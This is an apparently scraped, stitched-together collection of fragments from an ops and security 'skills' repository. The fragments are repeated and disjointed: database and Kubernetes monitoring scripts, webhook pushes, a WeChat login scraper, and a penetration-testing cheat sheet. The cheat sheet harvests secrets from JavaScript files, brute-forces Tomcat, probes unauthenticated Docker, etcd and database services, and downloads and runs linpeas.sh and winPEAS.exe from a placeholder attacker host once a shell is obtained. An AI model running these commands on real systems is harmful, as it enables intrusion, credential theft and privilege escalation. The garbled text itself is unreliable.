openocta/openocta_skills

pip3 install pymysql requests -i https://pypi.tuna.tsinghua.edu.cn/simple

python3 scripts/mysql_inspect/mysql_inspect_prometheus.py metrics --prom-url http://PrometheusIP:9090 --instance 数据库IP:3306 --time-range 24

}     try:         resp = requests.post(webhook_url, json=payload, timeout=10)

try:         resp = requests.post(webhook_url, json=payload, timeout=10)         resp_data = resp.json()

resp = requests.post(webhook_url, json=payload, timeout=10)

- [MySQL 官方文档 - 二进制日志](https://dev.mysql.com/doc/refman/8.0/en/binary-log.html)

- [MySQL 性能优化指南](https://dev.mysql.com/doc/refman/8.0/en/optimization.html)

- [等保合规要求](https://www.djbh.net/)

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

def query_prom(query):         try:             rsp = requests.get(f"{prom_url}/api/v1/query", params={"query": query}, timeout=10)

try:             rsp = requests.get(f"{prom_url}/api/v1/query", params={"query": query}, timeout=10)             return rsp.json()

rsp = requests.get(f"{prom_url}/api/v1/query", params={"query": query}, timeout=10)

#!/usr/bin/env python3

}     try:         resp = requests.post(webhook_url, json=payload, timeout=10)

try:         resp = requests.post(webhook_url, json=payload, timeout=10)         resp_data = resp.json()

resp = requests.post(webhook_url, json=payload, timeout=10)

#!/usr/bin/env python3

#!/usr/bin/env python3

PROMETHEUS_URL = "http://192.168.50.68:9090"

response = requests.get(url, params=params, timeout=10)

# 6. 推送排障报告至飞书群组（需替换为实际飞书webhook地址） python3 scripts/k8s_api/troubleshoot_report.py push --webhook-url https://open.feishu.cn/open-apis/bot/v2/hook/xxx --report-path ./reports/k8s-high-load-xxx.md

python3 scripts/k8s_api/troubleshoot_report.py push --webhook-url https://open.feishu.cn/open-apis/bot/v2/hook/xxx --report-path ./reports/k8s-high-load-xxx.md

`python3 scripts/k8s_api/troubleshoot_report.py push --webhook-url https://open.feishu.cn/open-apis/bot/v2/hook/xxx --report-path ./reports/k8s-high-load-xxx.md`

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

## 使用 将 SKILL.md 放入 OpenOcta skills 目录，配置一个 MySQL/MariaDB 的 db_* MCP 工具即可。完整 pack + 参考 MCP server：https://github.com/vicleung01/openocta-db-ops-skills

将 SKILL.md 放入 OpenOcta skills 目录，配置一个 MySQL/MariaDB 的 db_* MCP 工具即可。完整 pack + 参考 MCP server：https://github.com/vicleung01/openocta-db-ops-skills

## 使用 将 SKILL.md 放入 OpenOcta skills 目录，配置一个 MySQL/MariaDB 的 db_* MCP 工具即可。完整 pack + 参考 MCP server：https://github.com/vicleung01/openocta-db-ops-skills

将 SKILL.md 放入 OpenOcta skills 目录，配置一个 MySQL/MariaDB 的 db_* MCP 工具即可。完整 pack + 参考 MCP server：https://github.com/vicleung01/openocta-db-ops-skills

## 使用 将 SKILL.md 放入 OpenOcta skills 目录，配置一个 MySQL/MariaDB 的 db_* MCP 工具即可。完整 pack + 参考 MCP server：https://github.com/vicleung01/openocta-db-ops-skills

将 SKILL.md 放入 OpenOcta skills 目录，配置一个 MySQL/MariaDB 的 db_* MCP 工具即可。完整 pack + 参考 MCP server：https://github.com/vicleung01/openocta-db-ops-skills

Executable file

#!/usr/bin/env python3

## 使用 将 SKILL.md 放入 OpenOcta skills 目录，配置一个能连 TiDB 的 db_query MCP 工具即可。任意 db_* MCP server 均可，或使用参考实现：https://github.com/vicleung01/openocta-db-ops-skills （含参考 MCP server + 完整 8-skill pack）

将 SKILL.md 放入 OpenOcta skills 目录，配置一个能连 TiDB 的 db_query MCP 工具即可。任意 db_* MCP server 均可，或使用参考实现：https://github.com/vicleung01/openocta-db-ops-skills （含参考 MCP server + 完整 8-skill pack）

Executable file

<head>     <meta charset="UTF-8">     <script src="https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/kali/echarts.min.js"></script>

<meta charset="UTF-8">     <script src="https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/kali/echarts.min.js"></script>     <style>

<script src="https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/kali/echarts.min.js"></script>

Executable file

if current_url != 'https://mp.weixin.qq.com/' and 'mp.weixin.qq.com' in current_url:

def login(self):         print("正在打开微信公众平台登录页面...")         self.browser.open('https://mp.weixin.qq.com/')

self.browser.open('https://mp.weixin.qq.com/')

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

url = f'https://mp.weixin.qq.com/cgi-bin/appmsgpublish?sub=list&begin={begin}&count=10'

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

#!/usr/bin/env bash

[Credential-related source omitted]

rm -f /tmp/patrol-ping.$$

check_tcp_port() {   local host="$1" port="$2"   if command -v nc >/dev/null 2>&1; then

local host="$1" port="$2"   if command -v nc >/dev/null 2>&1; then     nc -z -w 2 "$host" "$port" 2>/dev/null && echo open || echo closed

if command -v nc >/dev/null 2>&1; then

nc -z -w 2 "$host" "$port" 2>/dev/null && echo open || echo closed

elif (echo >/dev/tcp/"$host"/"$port") 2>/dev/null; then

elif (echo >/dev/tcp/"$host"/"$port") 2>/dev/null; then

[Credential-related source omitted]

[Credential-related source omitted]

rm -f /tmp/patrol-out.$$

waybackurls <目标域名> | grep -E '\.js$' | httpx -o js_files.txt for url in $(cat js_files.txt); do   curl -s "$url" | grep -oP '(api_key|token|secret|password|endpoint|http[s]?://[^"'"'"']+)'

for url in $(cat js_files.txt); do   curl -s "$url" | grep -oP '(api_key|token|secret|password|endpoint|http[s]?://[^"'"'"']+)' done

[Credential-related source omitted]

[Credential-related source omitted]

# Tomcat安全检测 nmap --script http-tomcat-brute -p 8080 <目标IP> curl -s http://<目标IP>:8080/manager/html | head

nmap --script http-tomcat-brute -p 8080 <目标IP> curl -s http://<目标IP>:8080/manager/html | head curl -s http://<目标IP>:8080/host-manager/html | head

curl -s http://<目标IP>:8080/manager/html | head

curl -s http://<目标IP>:8080/host-manager/html | head

# JBoss/WildFly nmap --script http-jboss-status -p 8080,9990 <目标IP> curl -s http://<目标IP>:8080/jmx-console/

nmap --script http-jboss-status -p 8080,9990 <目标IP> curl -s http://<目标IP>:8080/jmx-console/ curl -s http://<目标IP>:8080/web-console/

curl -s http://<目标IP>:8080/jmx-console/

curl -s http://<目标IP>:8080/web-console/

# WebLogic nmap -p 7001,7002 --script http-weblogic-t3 <目标IP> curl -s http://<目标IP>:7001/console/

curl -s http://<目标IP>:7001/console/

# phpMyAdmin curl -s http://<目标IP>/phpmyadmin/

curl -s http://<目标IP>/phpmyadmin/

curl -s http://<目标IP>/phpMyAdmin/

# .git泄露 curl -s http://<目标IP>/.git/HEAD

curl -s http://<目标IP>/.git/HEAD

curl -s http://<目标IP>/.svn/entries

# .env泄露 curl -s http://<目标IP>/.env

[Credential-related source omitted]

[Credential-related source omitted]

# MongoDB未授权 nmap --script mongodb-info -p 27017 <目标IP> echo 'db.version()' | timeout 3 nc <目标IP> 27017

echo 'db.version()' | timeout 3 nc <目标IP> 27017

# Elasticsearch未授权 curl -s http://<目标IP>:9200/_cat/indices

curl -s http://<目标IP>:9200/_cat/indices

curl -s http://<目标IP>:9200/_nodes

# Memcached未授权 echo "stats" | timeout 3 nc <目标IP> 11211

echo "stats" | timeout 3 nc <目标IP> 11211

# 敏感数据传输加密 nmap --script ssl-enum-ciphers -p 443 <目标IP> curl -I -k https://<目标IP> | grep -i strict-transport-security

curl -I -k https://<目标IP> | grep -i strict-transport-security

# Cookie安全属性 curl -I http://<目标IP> | grep -i set-cookie

curl -I http://<目标IP> | grep -i set-cookie

# Docker API未授权 curl -s http://<目标IP>:2375/containers/json

curl -s http://<目标IP>:2375/containers/json

curl -s http://<目标IP>:2376/containers/json

# Kubernetes API Server curl -k https://<目标IP>:6443/version

curl -k https://<目标IP>:6443/version

curl -k https://<目标IP>:6443/api/v1/namespaces

# etcd未授权 curl http://<目标IP>:2379/v2/keys

curl http://<目标IP>:2379/v2/keys

# 权限提升（获取shell后） wget http://<攻击机IP>/linpeas.sh -O /tmp/lp.sh && bash /tmp/lp.sh

wget http://<攻击机IP>/linpeas.sh -O /tmp/lp.sh && bash /tmp/lp.sh

wget http://<攻击机IP>/linpeas.sh -O /tmp/lp.sh && bash /tmp/lp.sh

wget http://<攻击机IP>/winPEAS.exe -O C:\Users\Public\wp.exe && C:\Users\Public\wp.exe

配置文件格式 (djbh.conf):   TARGET_NETWORK="192.168.1.0/24"   TARGET_WEB_URL="https://www.example.com"

TARGET_NETWORK="192.168.1.0/24"   TARGET_WEB_URL="https://www.example.com"   TARGET_WEB_IP="192.168.1.10"

TARGET_WEB_URL="https://www.example.com"